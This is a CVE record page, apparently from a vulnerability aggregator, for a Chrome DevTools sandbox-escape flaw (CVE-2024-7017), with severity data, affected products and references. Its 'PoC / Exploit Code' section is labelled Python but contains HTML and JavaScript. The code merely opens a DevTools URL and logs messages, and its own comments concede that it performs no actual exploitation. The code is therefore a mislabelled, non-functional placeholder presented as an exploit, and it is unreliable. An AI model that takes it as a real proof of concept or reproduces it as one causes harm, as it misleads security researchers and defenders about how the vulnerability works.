CVE-2024-7017

Description

Inappropriate implementation in DevTools in Google Chrome prior to 126.0.6478.182 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 126.0.6478.182

Chromium-based browsers with DevTools < 126.0.6478.182

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2024-7017 PoC - DevTools Sandbox Escape
// This PoC demonstrates the concept of triggering DevTools via crafted HTML
// Note: Actual exploitation requires specific Chrome version and DevTools vulnerability

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2024-7017 PoC</title>
</head>
<body>
    <h1>CVE-2024-7017 DevTools Sandbox Escape</h1>
    <p>Target: Google Chrome < 126.0.6478.182</p>
    <button onclick='triggerDevTools()'>Trigger DevTools</button>
    
    <script>
        function triggerDevTools() {
            // Method 1: Using chrome-devtools:// protocol
            window.open('chrome-devtools://devtools/bundled/inspector.html', '_blank');
            
            // Method 2: Keyboard shortcut simulation
            // Press F12 or Ctrl+Shift+I to open DevTools
            
            // Method 3: Context menu trigger
            document.addEventListener('contextmenu', function(e) {
                e.preventDefault();
                console.log('Context menu triggered');
            });
            
            // The actual exploitation requires:
            // 1. A specific vulnerability in DevTools handling of crafted HTML
            // 2. Ability to inject/execute code through DevTools interface
            // 3. Bypass of Chrome's sandbox mechanism
            console.log('DevTools triggered - vulnerability requires specific conditions');
        }
        
        // Auto-trigger on page load (requires user interaction in real attack)
        // document.body.click();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-7017
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-7017
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-7017/
[4] VulDB https://vuldb.com/cve/CVE-2024-7017
[5] https://chromereleases.googleblog.com/2024/07/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/338248595

Raw JSON Data

JSON

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